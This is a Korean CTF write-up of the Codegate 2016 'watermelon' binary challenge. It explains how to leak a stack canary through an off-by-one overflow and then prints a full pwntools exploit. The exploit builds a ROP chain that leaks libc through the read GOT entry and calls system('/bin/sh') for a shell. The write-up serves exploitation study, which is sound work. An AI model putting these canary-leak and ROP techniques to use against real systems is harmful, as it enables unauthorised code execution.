[Codegate 2016] watermelon
32bit 바이너리이고, Canary와 NX가 걸려있습니다.
바이너리를 실행하면 우선 이름을 입력 받습니다.
그 후 옵션을 입력 받네요.
이름을 scanf %s 입력 제한 없이 bss 영역에 받고 있네요.
원할 때 가져올 수 있는 부분이니 생각해 둡시다.
그 뒤로는 4294967295 -> -1이 있고,
순서대로 1일 때 Add, 2일 때 View, 3일 때 Modify입니다.
-1일 때는 어떤 역할을 할까요?
암호화를 해줍니다…
이름을 변경해주고 Add부터 봅시다.
music과 artist를 추가할 수 있습니다.
main에서 봤던 저 친구가 playlist에 몇 개의 음악이 있는지 나타내는 count이고, v1이 playlist를 저장하는 공간이었네요!
playlist를 하나 추가할 때마다 이렇게 메모리가 잡힐 것입니다.
근데 read에서 21만큼 받네요? 1byte가 overflow 납니다.
우선 이 부분도 보류해 둡시다.
다시 main을 보면 이렇게 정리할 수 있습니다.
하지만 1byte가 overflow나기 때문에 4401만큼 덮을 수 있네요?
마침 canary와의 사이에 dummy도 없습니다.
View를 분석해보죠.
말 그대로 playlist를 출력해줍니다.
그렇다면 1byte overflow를 통해 canary를 leak 할 수 있지 않을까요?
??? : %20s니까 길이 제한 걸어서 canary 출력 안 되는 거 아님?
저건 길이 제한이 아니라 정렬일 뿐이라는 거~
자 그럼 다시 Modify를 분석하러 가봅시다.
기능은 View 후 수정입니다.
근데 200은 좀 아니지.. 여기서 overflow가 또 발생합니다.
그럼 분석은 여기까지 하고, leak을 한 번 해보겠습니다.
1 2 3 4 5 6 7 8 9 10 |
def Add(): for i in range(1,101): s.sendlineafter("select | \n", "1") s.sendlineafter("music | ", "") s.sendlineafter("artist | ", 'A'*19)
s.sendline(binsh) Add()
s.interactive() |
이렇게 해준다면 이름을 입력하고 100개를 만듭니다. sendline이기 때문에 A 19개 + 개행 문자 1개 = 20개로 4400byte를 꽉 채울 수 있습니다.
하지만 view로 봤을 때, canary가 나오지 않는 것을 보니 NULL byte canary네요.
1 2 3 4 5 6 7 8 9 10 |
def Add(): for i in range(1,101): s.sendlineafter("select | \n", "1") s.sendlineafter("music | ", "") s.sendlineafter("artist | ", 'A'*20)
s.sendline(binsh) Add()
s.interactive() |
A를 하나 추가해 봅시다.
canary가 출력된 것 같네요.
canary를 추출하기 위해서 코드를 짜겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
def Add(c): s.sendlineafter("select | \n", "1") s.sendlineafter("music | ", "") s.sendlineafter("artist | ", c*20)
s.sendline(binsh)
for i in range(1,100): Add('A')
Add('B')
s.sendlineafter("select", "2") s.recvuntil('B'*20 + '\n')
canary = u32('\x00' + s.recv(3))
log.info("canary : " + str(hex(canary))) |
canary가 출력됩니다.
그럼 이제 Modify 함수로 canary 덮고 return address 접근해서, read got 받아와서 system 함수로 변조 후, main에서 받았던 name을 인자로 하도록 호출해주는 ROP 코드를 짜면 됩니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 |
from pwn import *
s = remote("localhost", 9703) #s = process("./watermelon") e = ELF("./watermelon")
binsh = "/bin/sh" name = 0x0804d7a0 #bss pppr = 0x08049acd offset = 0x9ad60 #read - system
read_plt = e.plt['read'] write_plt = e.plt['write'] read_got = e.got['read']
######### CANARY LEAK ##########
def Add(c): s.sendlineafter("select | \n", "1") s.sendlineafter("music | ", "") s.sendlineafter("artist | ", c*20)
s.sendline(binsh)
for i in range(1,100): Add('A')
Add('B')
s.sendlineafter("select", "2") s.recvuntil('B'*20 + '\n')
canary = u32('\x00' + s.recv(3))
log.info("canary : " + str(hex(canary)))
########## Make payload ############
#Go to return address payload = "" payload += "A"*20 payload += p32(canary) payload += "A"*12
#Output read_got payload += p32(write_plt) payload += p32(pppr) payload += p32(1) payload += p32(read_got) payload += p32(4)
#Input system_add payload += p32(read_plt) payload += p32(pppr) payload += p32(0) payload += p32(read_got) payload += p32(4)
#Call read_plt(system) payload += p32(read_plt) payload += "AAAA" payload += p32(name)
############# Exploit #################
s.sendlineafter("select", "3") s.sendlineafter("select number", "100") s.sendlineafter("music", "") s.sendlineafter("artist", payload)
s.sendlineafter("select", "4") #return
s.recvuntil("BYE BYE\n\n") read_libc = u32(s.recv(4)) system_libc = read_libc - offset
log.info("read_libc : " + str(hex(read_libc))) log.info("system_libc : " + str(hex(system_libc)))
s.sendline(p32(system_libc))
s.interactive() |
급 마무리인 것 같지만.. ROP부터는 정말 설명할 게 없어서.. 코드 보고 이해 부탁 드립니다!
exploit
'System&Write up > CTF' 카테고리의 다른 글
[LeagueOfGuardians 2] register_you (0) | 2018.07.24 |
---|---|
[LeagueOfGuardians 2] FOR (0) | 2018.07.24 |
[Codegate 2018] catshop (0) | 2018.04.08 |
[Codegate 2018] DaysNote (0) | 2018.04.08 |
[Codegate 2018] betting (1) | 2018.04.06 |